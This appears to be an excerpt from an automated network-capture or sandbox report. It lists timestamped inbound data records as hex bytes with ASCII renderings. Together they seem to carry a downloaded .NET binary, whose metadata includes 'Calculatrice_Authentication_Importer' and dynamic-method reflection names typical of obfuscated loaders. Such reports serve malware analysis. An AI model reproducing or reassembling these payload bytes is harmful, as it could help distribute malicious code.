2021-10-28 20:43:28 UTC	3379	IN	Data Raw: 9a f1 92 e8 c1 f8 c4 d2 0d 32 34 e0 d1 bb 01 b9 a6 34 d6 36 fb 6a a7 3b cf aa d1 18 b0 1c 81 e7 c5 91 98 49 55 67 e0 3c 58 49 b6 04 56 24 c7 85 9e 24 21 ae a8 89 76 ca 80 d9 68 23 bd 29 db c3 8e 18 4e 2c f6 28 a0 b1 46 6d 94 38 c1 e5 9c f4 ea 40 04 51 32 82 75 59 e3 d3 24 be 93 25 04 d8 23 46 ac 81 01 a1 9a 7a 7b 51 fc 90 30 06 a9 c3 9f 45 dc eb ea de 1e 09 99 0b 37 6f f6 bf 29 66 8f 78 d3 97 f0 ae 4a eb 30 a6 4e 76 d0 20 d8 23 14 49 74 70 fe 07 6a b7 3e c5 25 ba cd 75 01 e8 c3 91 76 b8 0b da 44 a9 85 6a 2d a1 65 2f 64 0b 1a 4d a9 ea 5d 0e e2 e3 4f cc 0d bd 0b 87 d4 a2 a8 aa 9d c7 18 c0 25 14 98 31 90 ee c9 b1 28 f9 20 10 17 27 ea cf da e1 44 eb f4 e4 e1 bd 2f 44 99 0e 09 8f d9 fd ff f6 8a 83 ef 50 17 78 17 69 1e b1 dd 14 53 1d 9b 01 94 de f1 c4 01 89 b7 Data Ascii: 2446j;IUg<XIV$$!vh#)N,(Fm8@Q2uY$%#Fz{Q0E7o)fxJ0Nv #Itpj>%uvDj-e/dM]O%1( 'D/DPxiS
2021-10-28 20:43:28 UTC	3395	IN	Data Raw: eb a8 a1 5b 5d 1b 18 87 12 8a 61 b6 ac 89 1a 88 c5 75 6d af de 07 9c 5c a8 3c 18 cb 8e cc f0 6b 9d 55 6d dc 78 cf d9 82 fc b6 ce 1d f0 ee 51 9a ee 79 34 3e ef 78 e6 7f 31 84 77 c0 51 a3 44 5e 0e c2 57 88 72 2c e0 c5 2b b8 26 4c 38 4e 2a d4 c9 bd b5 23 0a e0 0d ba 39 2b 78 03 c6 cc 6f 50 49 82 39 13 80 fd b1 e0 a6 c4 d0 4b 22 17 25 d0 07 a2 c4 23 1b ab b0 b0 6a f5 c1 28 1d e0 ff b3 25 ea 12 ed e8 86 07 23 6f 62 dd 19 69 e3 1c ee 1d ec 76 41 b0 b8 f5 a5 79 53 1b 45 df f4 01 e1 50 ab f4 5a b9 e3 e6 9a 36 c7 8b a1 33 3f e0 26 ba a5 c1 61 34 d9 31 e3 a3 ec 1a 45 2e 30 df 08 c1 ed df 3d 21 b4 8d 65 63 d0 b8 c9 bf 14 5f 4a 0e 45 cb 80 36 f1 b9 f2 98 5e f6 ba 04 b9 32 35 69 fb a6 98 d2 20 fa cb 45 fe 50 0d d0 76 92 75 d9 e8 5c 14 94 e1 e4 0b bc 3c d1 82 47 73 c2 Data Ascii: []aum\<kUmxQy4>x1wQD^Wr,+&L8N*#9+xoPI9K"%#j(%#obivAySEPZ63?&a41E.0=!ec_JE6^25i EPvu\<Gs
2021-10-28 20:43:28 UTC	3411	IN	Data Raw: 7e 44 da ee 6c e3 19 b0 44 9d 66 6d d8 cc d0 a8 ea af ce f5 f2 d5 22 10 08 a5 8f c6 af 89 c0 cb 94 fa 3c 30 79 0e 6d 9b 1c 8d 86 0b b8 01 64 29 d3 a6 ed f9 a3 0b e6 6e d8 f2 32 af 5b 56 f6 41 97 6c 95 ad 87 0b d5 13 a3 3a de 32 f4 f4 8b 61 03 d8 89 cf 0e fe dd 76 23 cd 4a 3c f1 b9 7b 09 bc 2a d8 aa 9f f3 54 f2 35 9d 46 49 d1 02 92 cc ec ce a9 12 9c a0 11 90 a3 31 ee c4 70 7e b1 54 90 5d 7b 90 e7 18 90 79 be 62 99 5b 91 72 79 9e 1c 0a 65 73 f4 13 d3 8c fe 0b fa 85 2a 27 8e e3 44 79 93 c0 b1 1b 10 1b 5f c2 8f ee b0 0a 48 c3 1e 2b 4f 50 9d ca cc cd 97 01 24 a9 89 a6 6d 81 a0 a5 df 74 32 e9 60 b7 ff 88 54 99 81 89 3e cd 31 5d 09 b0 0d 36 9d c1 37 df d4 c8 15 77 35 df a2 5e 48 91 e4 42 cb 52 6b ef 5b 28 a6 0f 02 01 3d 7e 02 ae 99 e1 9c 0a 95 02 d9 c6 31 00 65 Data Ascii: ~DlDfm"<0ymd)n2[VAl:2av#J<{T5FI1p~T]{yb[ryes'Dy_H+OP$mt2`T>1]67w5^HBRk[(=~1e
2021-10-28 20:43:28 UTC	3427	IN	Data Raw: 7b ce d0 1c 53 19 36 38 31 0a c7 a6 66 2d f8 29 4b 8b 8a e0 e7 2a a7 6d 27 c9 91 32 e4 bd c1 8b 07 f4 33 de 65 93 51 e1 c3 bf 5e bd 7f 6a 5d e2 f2 ec 56 27 12 a1 db 53 c2 fd 37 35 ee 99 96 9f bf f0 ab e2 fd b9 8f 50 6c 23 8a c4 3d aa 47 b9 3e d2 7d 5c ff ac 9d ba 46 54 4d 70 fd fe 77 d8 28 3c 1e 5b fb 0a 56 3f f2 be 3a 24 f9 aa 3f df f4 ea 14 7d 18 c1 b6 be b2 26 bd 57 2c c4 71 0d 53 f9 33 05 30 da 45 71 7a b4 52 8f 57 d2 02 ec 5a 84 39 9a 18 d1 5a f1 49 82 14 af 16 27 28 3e 08 65 d9 92 05 3b 31 a3 b6 67 2d 3b 32 fd d6 f4 82 72 e8 58 cf 16 8e fe eb b1 87 6a 7a b3 34 29 7c 21 fe 4a 69 56 18 fb 20 86 2d 91 6d c3 b6 48 4b 68 0a 28 ce eb 12 d1 77 ab cf ec 34 6f d4 2a bb 0b ac 62 e0 9c 13 9e ce 8f e8 7c 49 b4 ec 33 9b 9a a7 94 ff 66 d8 22 66 ba 3c a9 93 db eb Data Ascii: {S681f-)Km'23eQ^j]V'S75Pl#=G>}\FTMpw(<[V?:$?}&W,qS30EqzRWZ9ZI'(>e;1g-;2rXjz4)\|!JiV -mHKh(w4ob\|I3f"f<
2021-10-28 20:43:28 UTC	3431	IN	Data Raw: e2 a2 84 6e 8f e0 c7 55 5a 3b 38 da 73 e1 d5 da d1 3b 62 b8 31 c8 8d f4 f2 72 2a 50 f8 92 c7 57 05 82 d1 97 71 93 ee d5 78 a6 eb cb 57 31 2c a7 77 a1 98 fb 11 44 45 c6 80 16 35 66 d5 11 3c b5 a3 d9 35 bd b8 28 80 08 eb 87 a9 37 4b fb 56 5a 8b 5b 26 0f b5 0f 59 3d 1a 9d fa 81 84 a4 fc cf 46 b9 83 c4 9a 9b 2a af 84 98 fc 29 ce e5 ef 32 f1 f1 48 c0 d5 93 11 02 8f 2f f6 b5 7b 19 63 d3 be f8 ae 64 c0 5f 2a 40 1a 25 7d 17 3c 30 1d 89 b4 a3 48 ca 41 27 4e 5b 05 ed 70 dd fc f4 58 f5 a0 1e 2f 0d a2 c5 fa e1 08 df a0 3d bf 1e a4 61 05 0b 02 e3 7b a0 ae 67 bb 58 a0 fc 85 47 03 84 8f 33 65 b3 df 98 ee 6c 35 52 33 c0 5d 47 d3 53 ac 55 12 18 7a d1 03 07 3f 4f 0c 52 33 4c 1d 52 81 ea 12 b5 44 fc bb 0e 27 1b c9 62 ba 1e 4c 91 0f 23 9d 63 d1 49 a6 ff f4 5d 44 1a ec 0e 86 Data Ascii: nUZ;8s;b1rPWqxW1,wDE5f<5(7KVZ[&Y=F)2H/{cd_*@%}<0HA'N[pX/=a{gXG3el5R3]GSUz?OR3LRD'bL#cI]D
2021-10-28 20:43:28 UTC	3447	IN	Data Raw: e3 7a f0 9b 80 21 11 eb 84 a5 02 4e 2b fe 09 0c 41 34 4e 6b a9 24 f0 a8 a9 e7 88 19 1d 7b c0 4e 62 4b a4 fc 60 98 de 1d 10 2e 79 a0 b7 25 a3 d9 f1 1a ce 1c d1 e4 b5 f4 76 7c 67 c9 3e d5 32 04 73 a1 ab d9 9b 4a e4 02 9d cd bb d3 4e 21 e5 02 b9 d2 f2 f3 e2 b1 5c b1 50 6e 7c 63 c9 5c 84 8a 79 0f 7e 3a 79 c4 9a 73 03 56 34 d8 88 47 59 37 ed ec fb 5c b0 2c 01 85 d9 e8 43 3f 44 02 12 be 8e b2 7b 17 b4 76 9b cf b5 f5 76 13 64 61 8a 40 d2 fc 87 36 db 62 a4 82 a0 cc 17 a1 2d 6d bd a9 aa d9 c7 87 6d ea 7f b1 0f 4e eb 15 8c 6f 14 75 0c 15 b7 8b cb 4b ac 4f f1 10 ff 7e 20 37 cd fb a3 d8 29 45 40 9d 56 0d cc 60 2c 51 7d 8d 47 60 98 0c 43 74 f2 f7 7e c0 b9 f0 d0 f6 13 94 78 ed e9 01 83 c5 95 22 30 ef f7 77 a6 53 b6 97 cf a3 27 46 51 c9 e4 77 5e 21 0b 39 ba 9c 73 eb db Data Ascii: z!N+A4Nk${NbK`.y%v\|g>2sJN!\Pn\|c\y~:ysV4GY7\,C?D{vvda@6b-mmNouKO~ 7)E@V`,Q}G`Ct~x"0wS'FQw^!9s
2021-10-28 20:43:28 UTC	3463	IN	Data Raw: 2f 34 7f 7d 5f 9b ff c4 7a c0 c8 61 ed 50 6e 8a ec db 2d e2 8e fe 57 01 3d 71 d1 82 26 c5 10 26 d9 93 ca dd 46 e5 aa 1a 07 2d ef 40 d5 38 4e 83 43 a4 93 55 59 bb 61 eb 5c 6b 1c 36 82 c6 5a 78 48 5c 3e 9b 54 a4 45 32 b8 e8 ab 88 06 79 02 b6 d9 04 e9 1b 87 ff a5 c7 a2 b2 8c e8 27 ed cb 48 da 7a 84 1b 59 54 4e 9e 21 55 ac 80 f2 d7 09 c1 5d 95 4e ed 9f e3 1c 2d 55 f0 3b 3f 49 c5 15 9e 72 84 f9 f3 13 17 00 70 d5 30 f9 47 00 34 96 f3 da 39 a4 59 8b 0f a0 04 bb dc 1e 0e 86 14 87 80 aa f9 36 71 36 7e 09 da 1a a5 be bf 4f 2b c5 d6 7f bd 09 00 80 e7 25 95 91 66 4b 7d 62 e9 ae 41 8a ac b0 4f 85 3e bb a9 ec 5f b4 fb f4 5c 51 35 d3 a1 74 41 8e 1c 5b 6a c1 04 da 60 e1 ea 42 be c7 01 da 4d fc e1 ef 17 1b d8 79 fd 43 7b 41 15 98 e3 9d 15 5f 0e e1 d4 54 92 be bb 7b 10 30 Data Ascii: /4}_zaPn-W=q&&F-@8NCUYa\k6ZxH\>TE2y'HzYTN!U]N-U;?Irp0G49Y6q6~O+%fK}bAO>_\Q5tA[j`BMyC{A_T{0
2021-10-28 20:43:28 UTC	3479	IN	Data Raw: 1f 58 3e 74 18 d7 ff 66 30 86 5b 1e be cd 3b 6e 56 d2 98 3e 22 bf 12 8f b7 d9 5d 50 da 98 ea 6f 6b aa 59 78 7a d3 e3 b0 1d 25 92 26 d0 e3 28 22 d8 9e c2 9f b0 8e bc dd 2c c2 69 2c e6 02 7f 0b fc 5a 84 ac 54 9e ab a3 2f 8e c7 8f e5 e9 ac f2 4f ad 93 ae 14 bd ab e9 c3 07 02 d0 b6 c5 a5 ad 84 b6 14 b6 93 f9 9e ee 36 f0 b2 9b 16 19 e4 5f f1 e1 7d dd c9 9d 15 0a 43 ca 76 7d 01 49 60 69 11 53 1f b8 0c ed d6 d9 f9 b6 82 cd ef 17 48 54 65 69 3f b6 0d ec 49 14 ee 4e 96 96 de e9 25 e0 9d de cf 9d ac 21 5a 6a 4f 18 6e 3d 2f 41 9f 97 0a 0a 39 8d e1 c5 d0 d8 5e f2 31 c4 19 71 1b 15 2a 7b da 4a 24 15 92 97 11 df 3d 9f 08 40 03 b2 00 b4 54 2e 1e 4a fa ad f8 09 2e d5 f7 15 e3 66 8f 06 8b df bb 14 14 a8 62 68 06 79 48 6f 7a ea 18 79 63 e1 fa c5 8f 16 77 31 93 bb 32 99 d2 Data Ascii: X>tf0[;nV>"]PokYxz%&(",i,ZT/O6_}Cv}I`iSHTei?IN%!ZjOn=/A9^1q*{J$=@T.J.fbhyHozycw12
2021-10-28 20:43:28 UTC	3495	IN	Data Raw: e6 80 93 e3 13 36 44 d7 c5 e6 da e7 e1 82 3e c0 e7 48 fb c2 5d 8c db 74 cb 7c e4 82 a4 10 25 d0 bb 6f 26 2d 6f 41 ca c5 8f 2e 79 ac af e1 99 ab 07 a3 e7 3b 3d f6 ba 92 ae c6 fa 78 fb 13 c9 59 fd a8 48 01 77 bc ba bc f5 0e be 20 fa aa d2 c5 27 b9 49 ff 08 36 97 b2 e0 a6 e4 fc bd 38 e4 0f 2a 91 65 6a 88 6f f6 64 a9 56 3e c2 e7 0b 55 ef 00 c2 03 70 07 35 76 f8 ce ee b5 9d 07 67 bc 61 d1 2e fc 41 6f e5 75 fe 0c 4c 45 5e 13 d7 8d 7d ac e1 04 39 01 a6 1b 33 4a e5 9f 12 c5 60 9f 66 3d 6f 20 a8 a5 b7 67 f5 1c 93 d2 ff 28 27 10 2d 32 c2 7f ac 20 5b 68 1e 21 17 71 dd de 93 dc 9f ea 57 ee 7f f6 e0 31 3c 21 54 0c e7 3a 4d 63 bb ed 1a c0 76 31 b0 0f 70 63 09 7b f9 86 ab 11 8f 56 bf cd e5 be f4 0a f2 34 bb 8b 64 69 89 ca 6a 4d b3 3a 94 d4 83 23 58 1a 1b bb c2 d3 90 97 Data Ascii: 6D>H]t\|%o&-oA.y;=xYHw 'I68*ejodV>Up5vga.AouLE^}93J`f=o g('-2 [h!qW1<!T:Mcv1pc{V4dijM:#X
2021-10-28 20:43:28 UTC	3511	IN	Data Raw: 80 d0 c9 dd e7 1f 34 8e 12 8a b0 7f bf d1 7b f7 7d 80 bf 44 ca 3e ba 77 5b 7c 60 65 2d f0 cc 89 63 95 60 50 2f 57 bb a4 1e bd 68 46 5d 89 64 64 81 d0 0c 2e c8 9c 32 5c b2 a8 d7 a8 29 37 42 83 99 fc a4 14 af 40 e9 e0 2b 9a 7f bd d8 d2 1e f4 97 a8 7c da cb a0 74 b5 72 5a 07 1a 46 18 89 9e 7c c3 f6 8e 48 7b 56 d9 fe 27 3f af 76 99 0a a2 9a d3 b9 ba e1 c4 e9 b9 ed 2c 2a c0 69 5f d5 d7 b2 24 4b 7a 09 69 a4 18 1d ea fc fa f1 fc 80 31 ce 3c 37 18 e0 e8 bf 89 56 ba e9 57 77 57 44 dc be cb a2 53 9c 7b 3a 17 3f 47 fa ec a4 9b ed 19 b2 fb 72 06 e6 2e a4 f7 07 0d e5 83 6f 87 90 11 eb b3 79 f0 cf ba 5f 7e 23 12 b8 13 74 fe 3c 6f e3 44 d0 1c 6d 50 50 c7 47 f1 a4 95 bb 57 3e 18 d7 f5 05 b9 73 a2 f5 52 00 34 b5 54 50 c3 a8 53 eb b3 54 99 c7 7d 5f 1d 37 35 a0 ea a8 4b 3c Data Ascii: 4{}D>w[\|`e-c`P/WhF]dd.2\)7B@+\|trZF\|H{V'?v,*i_$Kzi1<7VWwWDS{:?Gr.oy_~#t<oDmPPGW>sR4TPST}_75K<
2021-10-28 20:43:28 UTC	3527	IN	Data Raw: 4b e7 29 8a fd ab b5 0c bf 63 47 b0 e1 c7 2a 0d da 57 3d be 75 ba 34 6d f7 88 19 93 27 bb f5 9f df 55 ef ab c1 8e a6 9e 38 db bd 34 b7 b5 8e 26 14 3f f9 9f c6 d5 8f 21 b8 ef 70 69 8a 91 ab 91 64 27 f2 c7 16 ff 58 8b d9 8b 04 b6 d2 29 e4 4a f5 27 f8 85 63 e2 ef ae 30 b8 89 0f 27 c8 b0 f5 eb 7d aa c2 a4 71 61 dc 55 23 d1 90 a6 38 62 64 05 72 b4 dd f4 d5 8b 5e d1 11 74 8f 65 b8 66 c9 83 53 11 05 2f 26 4e 92 da 2a bd f3 ed 71 eb 34 78 bf 98 c3 54 0d ab ec 62 9e fe 4d 40 f4 43 88 05 a6 63 39 6e de e3 e5 48 6b 89 c4 03 6f 36 a2 36 98 6f 1b 26 c6 87 db 15 c6 2d b6 34 e0 21 03 9c 05 21 42 48 4a 29 79 81 86 c8 1a 06 b2 b2 72 91 cc 73 71 52 f8 0e 01 7b ee a1 8b 59 37 a6 ed d8 cf 1e 71 79 1a 28 23 61 92 1c 02 3c c2 ea 32 d7 eb 2a 71 38 ee 42 32 3d a5 c8 73 08 fb 8f Data Ascii: K)cGW=u4m'U84&?!pid'X)J'c0'}qaU#8bdr^tefS/&Nq4xTbM@Cc9nHko66o&-4!!BHJ)yrsqR{Y7qy(#a<2*q8B2=s
2021-10-28 20:43:28 UTC	3543	IN	Data Raw: ae ec 0c 19 3b 38 35 82 9f 3b af 3a bf cb 48 f5 20 df a9 8e 58 9c 5b cb 1b cd cf 64 97 ea 9d c8 c9 fe 6b 70 54 84 fe 6f 55 06 ab 2c 6a 51 21 95 ea 31 d9 80 bb a6 93 ba a4 30 65 7f 63 b8 a9 20 c7 3f e8 2c 3b e8 c3 94 b8 4b 68 78 d8 d8 23 54 58 16 83 e7 71 ec 1f 09 34 de eb 82 bd a4 31 fa c9 26 0f ab 6d ac 92 9e 26 0e 84 f7 b4 73 f7 d2 2b 5e 94 be ff ee 1b 64 d6 f3 0b bd 54 e7 64 5e cb 47 8e 8b e7 80 54 d2 f9 71 23 b6 da 20 26 05 42 c5 15 25 a2 1c db 46 66 75 ff c1 d6 c6 ff 2d f0 54 e2 b1 87 d4 47 b5 2c 18 c1 29 75 9b b2 11 1c 86 6f 19 bc 8e 5b 8a ef 33 c5 fa 6d 24 33 90 c4 31 28 56 ff 82 0f 38 10 9a de d8 d3 44 83 60 5c c6 d0 4a b3 44 96 af 5f 95 06 c0 85 c5 ba 43 00 7d 9d c4 c1 dc ec e1 12 38 57 67 a6 c4 6d 4f 1e 9d 62 77 42 71 a8 fa 23 5c a8 3f 86 4c c5 Data Ascii: ;85;:H X[dkpToU,jQ!10ec ?,;Khx#TXq41&m&s+^dTd^GTq# &B%Ffu-TG,)uo[3m$31(V8D`\JD_C}8WgmObwBq#\?L
2021-10-28 20:43:28 UTC	3559	IN	Data Raw: af b3 35 f7 86 f9 5f 2b 0a 0d 6e c7 4e 5f 61 82 b2 12 d2 1a cc 34 7d 76 fc 00 5e 88 29 f5 36 7e 96 ef b6 e1 fa 06 01 ac fe c3 27 7c cf 22 62 07 67 df b7 db 10 32 54 ca fa e6 25 45 59 94 0e f7 85 26 0f cb 99 01 a8 72 7a 25 02 05 4f 8f 1c c0 e0 62 87 78 b3 bd 6e f7 2d 1d e4 39 bd 63 fb ba af 13 71 37 ff 2e bc ef 3b e4 c2 45 23 9d 68 60 ab 01 53 7e a2 7c 76 2d 35 37 f2 7f 8d 43 e3 33 be 23 f8 67 1a 73 43 1a 84 05 15 23 50 b7 2a 02 06 a0 42 b6 df d5 22 35 d5 45 9f 77 d7 8b b6 e9 b6 31 2d 75 1c 54 5f c1 55 0c 78 af 52 e5 18 d1 80 11 05 bb de c1 11 fc 2d 68 32 e7 83 61 84 2f 92 4f b3 a5 33 43 01 a8 62 2f d0 60 69 99 e5 3f 1f ef fd f3 f8 d6 99 0c b7 6f 5a b1 f2 cd 19 26 cf 5d eb 9a 2a 7e 1a f9 46 03 30 ed 6d 0b f4 2c e8 94 34 a2 d7 7e 90 e9 75 f1 c6 92 e2 db 3d Data Ascii: 5_+nN_a4}v^)6~'\|"bg2T%EY&rz%Obxn-9cq7.;E#h`S~\|v-57C3#gsC#PB"5Ew1-uT_UxR-h2a/O3Cb/`i?oZ&]~F0m,4~u=
2021-10-28 20:43:28 UTC	3575	IN	Data Raw: 23 10 71 77 d9 0d f6 0e cf d6 bf 0c f0 7c 09 a4 b4 91 cb b5 70 da 4b 2b d4 06 f4 ea 44 b4 76 a5 6b 1c bf 17 45 4b ab d1 13 28 59 6a d3 18 fd 2e a4 b5 2f e9 b7 f9 cd f0 c5 92 95 6d 82 fe 12 16 3e 43 57 b5 f2 31 bd 44 c8 75 a3 aa 00 8e c4 c9 ca b9 86 d8 ba 0a 27 b2 eb 87 8b 0d 76 da 11 09 6c cc 53 70 78 4b 5a fb d3 af 6a d1 ee 40 bc 6a ac d8 ca 68 34 86 1b 05 de 92 54 ab 9b 0d ee 1d b3 cc 80 d8 0b 72 7c 82 e1 b6 20 4a 18 b6 7b 05 cb d6 43 16 d5 12 25 e2 c1 cc 6d 4b a7 05 cd 46 ae 2e 70 0d 90 73 11 3b c4 e0 27 0f 01 49 b0 a5 00 7c ad a6 65 a9 d6 42 dc 60 7c 73 b5 35 a3 73 5c f7 3b 10 04 1e 9a 58 f3 e6 03 74 ce 21 36 52 f4 de b3 84 58 bf ba 3f 76 15 72 05 a1 15 4c 77 38 a9 2b 6b b6 bf cf 46 e5 b1 10 b3 e5 71 15 9d 1b a4 6c e2 00 68 90 80 f1 8a 1f f1 cc 5d 58 Data Ascii: #qw\|pK+DvkEK(Yj./m>CW1Du'vlSpxKZj@jh4Tr\| J{C%mKF.ps;'I\|eB`\|s5s\;Xt!6RX?vrLw8+kFqlh]X
2021-10-28 20:43:28 UTC	3591	IN	Data Raw: 16 6a 6e 63 91 8a f9 f9 d2 fa f6 00 c4 a4 03 4b 69 f2 c7 1c 9d c2 60 a1 ad 83 b6 38 57 fc 17 03 f9 fe 31 08 26 dd 76 ba b0 8f ce 9f 33 f0 f7 d0 c2 94 15 86 cc 6e cf 56 a5 24 ec 52 2a 30 12 60 e8 19 11 75 cb 8a 85 c8 14 dd 62 c6 dd cc ba 97 8d 32 89 5a b6 ec 1d ff 0c 6d 78 31 2a 04 1e 6c 80 63 8c 7d 2c fa cd 07 19 4d 89 dd 48 38 30 13 5c 8f fb c3 cd 91 8a 94 95 64 b0 90 43 5e 1d 64 01 42 c8 92 ca b5 65 cf 06 05 36 00 f6 f4 5e fd b2 5a 44 9e ef 90 98 73 92 ad ee 91 bc d3 09 5e 99 8b 43 a4 0c 0a 9f 45 32 73 42 3b b5 10 67 6c 2f 97 b6 60 e3 2b 24 ea 11 72 94 31 8c 7a d8 a1 1e 4a 9f 12 85 de 0b 0d 37 24 f1 3d 24 35 0d 3b cb 84 df d7 a2 67 fb 89 34 2b 56 30 ff fb c4 9b a1 83 f6 e1 7b 32 5a 83 41 9b fd 69 cc 10 be ab 48 b5 73 9d dc 03 f5 30 25 b1 4f 47 a2 a2 93 Data Ascii: jncKi`8W1&v3nV$R0`ub2Zmx1lc},MH80\dC^dBe6^ZDs^CE2sB;gl/`+$r1zJ7$=$5;g4+V0{2ZAiHs0%OG
2021-10-28 20:43:28 UTC	3607	IN	Data Raw: c2 b7 61 29 a3 1b 4d ce 8c ca 65 3e c3 0f c7 48 d0 11 03 0d c1 97 73 4b d6 d7 ef 76 12 47 b9 c5 fc 3f fc 96 83 df 11 a9 05 70 64 56 21 39 3b e9 38 be 41 60 24 bd 15 cf 24 d3 ce a2 36 33 e1 9e db df 1c 67 48 00 00 00 02 00 05 00 94 98 38 00 d8 2b 02 00 01 00 00 00 0c 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 07 00 b3 00 00 00 01 00 00 11 28 25 00 00 06 20 71 cb 91 30 0b 07 20 dc 14 8c 46 20 ee d1 e3 1e 59 20 6c 5f 0c 59 20 39 40 6d f4 5a 61 20 19 3e 20 95 65 59 20 25 82 04 a5 20 05 48 48 63 20 ad 18 2d e5 58 5a 20 b1 cc 5e 9d 20 82 76 a0 4c 58 65 59 61 61 20 c9 51 7e 04 20 21 a1 10 01 5a 20 4f 8f 5c cc 5a 20 ff 83 9e 03 5a 59 20 f5 2f 09 d3 Data Ascii: a)Me>HsKvG?pdV!9;8A`$$63gH8+0(% q0 F Y l_Y 9@mZa > eY % HHc -XZ ^ vLXeYaa Q~ !Z O\Z ZY /
2021-10-28 20:43:28 UTC	3623	IN	Data Raw: 13 00 1b 4e 00 00 50 1c 13 00 b3 4f 01 00 60 1c 13 00 17 4f 00 00 70 1c 13 00 b3 8d 00 00 80 1c 13 00 6c 45 00 00 96 1c 13 00 7d 87 00 00 a6 1c 13 00 5b 01 00 00 bc 1c 13 00 36 8c 00 00 cc 1c 13 00 20 50 00 00 dc 1c 13 00 dd 89 00 00 ec 1c 13 00 08 00 00 00 fc 1c 13 00 e3 88 00 00 0c 1d 13 00 db 4e 01 00 1c 1d 13 00 dc 8a 00 00 2c 1d 13 00 bb 8c 00 00 3c 1d 13 00 7c 00 00 00 4c 1d 13 00 a7 4e 01 00 5c 1d 13 00 43 89 00 00 6c 1d 13 00 2c 02 00 00 7b 1d 13 00 2c 4f 01 00 8a 1d 13 00 c3 8b 00 00 9a 1d 13 00 e6 4d 00 00 aa 1d 13 00 e0 8c 00 00 ba 1d 13 00 a1 4f 00 00 ca 1d 13 00 ee 00 00 00 d9 1d 13 00 12 4e 00 00 ef 1d 13 00 f7 01 00 00 fe 1d 13 00 c3 4f 00 00 0e 1e 13 00 51 87 00 00 1d 1e 13 00 a8 8d 00 00 2d 1e 13 00 6a 01 00 00 3d 1e 13 00 98 4d 00 00 4c Data Ascii: NPO`OplE}[6 PN,<\|LN\Cl,{,OMONOQ-j=ML
2021-10-28 20:43:28 UTC	3639	IN	Data Raw: af 75 00 00 fd 01 2b 01 00 00 00 00 03 00 83 18 a9 75 00 00 56 08 2b 01 00 00 00 00 03 00 c3 01 f3 57 00 00 15 2a 2b 01 30 73 38 00 00 00 91 18 af 75 00 00 fd 01 2b 01 00 00 00 00 03 00 83 18 a9 75 00 00 56 08 2b 01 00 00 00 00 03 00 c3 01 f3 57 00 00 2c 2a 2b 01 4c 73 38 00 00 00 91 18 af 75 00 00 fd 01 2b 01 00 00 00 00 03 00 83 18 a9 75 00 00 56 08 2b 01 00 00 00 00 03 00 c3 01 f3 57 00 00 44 2a 2b 01 68 73 38 00 08 00 91 18 af 75 00 00 fd 01 2b 01 00 00 01 00 0b 51 00 00 00 00 01 00 59 7d 00 00 00 00 02 00 27 63 00 00 00 00 03 00 5c 7e 00 00 02 00 04 00 3e 7e 00 00 00 00 01 00 d3 52 00 00 00 00 02 00 44 83 00 00 00 00 01 00 d3 52 00 00 00 00 02 00 44 83 00 00 00 00 01 00 d3 52 00 00 00 00 02 00 44 83 00 00 00 00 01 00 d3 52 00 00 00 00 02 00 44 83 00 Data Ascii: u+uV+W+0s8u+uV+W,+Ls8u+uV+WD*+hs8u+QY}'c\~>~RDRDRDRD
2021-10-28 20:43:28 UTC	3655	IN	Data Raw: 74 65 6d 5f 49 6e 74 33 32 29 00 43 61 6c 63 75 6c 61 74 72 69 63 65 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 5f 49 6d 70 6f 72 74 65 72 3a 3a 50 75 62 6c 69 73 68 46 69 65 6c 64 28 53 79 73 74 65 6d 5f 4f 62 6a 65 63 74 2c 53 79 73 74 65 6d 5f 49 6e 74 33 32 29 00 43 61 6c 63 75 6c 61 74 72 69 63 65 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 5f 49 6d 70 6f 72 74 65 72 3a 3a 43 61 6c 6c 46 69 65 6c 64 28 53 79 73 74 65 6d 5f 4f 62 6a 65 63 74 2c 53 79 73 74 65 6d 5f 49 6e 74 33 32 29 00 43 61 6c 63 75 6c 61 74 72 69 63 65 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 5f 49 6d 70 6f 72 74 65 72 3a 3a 43 6f 6e 6e 65 63 74 46 69 65 6c 64 28 53 79 73 74 65 6d 5f 4f 62 6a 65 63 74 2c 53 79 73 74 65 6d 5f 49 6e 74 33 32 29 00 43 61 6c 63 75 6c 61 74 72 69 Data Ascii: tem_Int32)Calculatrice_Authentication_Importer::PublishField(System_Object,System_Int32)Calculatrice_Authentication_Importer::CallField(System_Object,System_Int32)Calculatrice_Authentication_Importer::ConnectField(System_Object,System_Int32)Calculatri
2021-10-28 20:43:28 UTC	3671	IN	Data Raw: 65 72 55 74 69 6c 69 74 69 65 73 5f 52 65 73 6f 75 72 63 65 73 5f 52 65 73 6f 75 72 63 65 73 3a 3a 45 72 72 6f 72 54 79 70 65 4e 6f 74 46 6f 75 6e 64 00 52 6f 75 6e 64 00 53 79 73 74 65 6d 53 6f 75 6e 64 00 73 65 74 5f 49 73 42 61 63 6b 67 72 6f 75 6e 64 00 44 79 6e 61 6d 69 63 4d 65 74 68 6f 64 00 67 65 74 5f 49 73 47 65 6e 65 72 69 63 4d 65 74 68 6f 64 00 43 61 6c 63 4d 65 74 68 6f 64 00 41 64 64 4d 65 74 68 6f 64 00 43 68 61 6e 67 65 4d 65 74 68 6f 64 00 44 65 66 69 6e 65 4d 65 74 68 6f 64 00 43 6c 6f 6e 65 4d 65 74 68 6f 64 00 52 61 74 65 4d 65 74 68 6f 64 00 44 65 6c 65 74 65 4d 65 74 68 6f 64 00 52 65 73 6f 6c 76 65 4d 65 74 68 6f 64 00 4d 6f 76 65 4d 65 74 68 6f 64 00 67 65 74 5f 44 65 63 6c 61 72 69 6e 67 4d 65 74 68 6f 64 00 50 75 73 68 4d 65 74 Data Ascii: erUtilities_Resources_Resources::ErrorTypeNotFoundRoundSystemSoundset_IsBackgroundDynamicMethodget_IsGenericMethodCalcMethodAddMethodChangeMethodDefineMethodCloneMethodRateMethodDeleteMethodResolveMethodMoveMethodget_DeclaringMethodPushMet
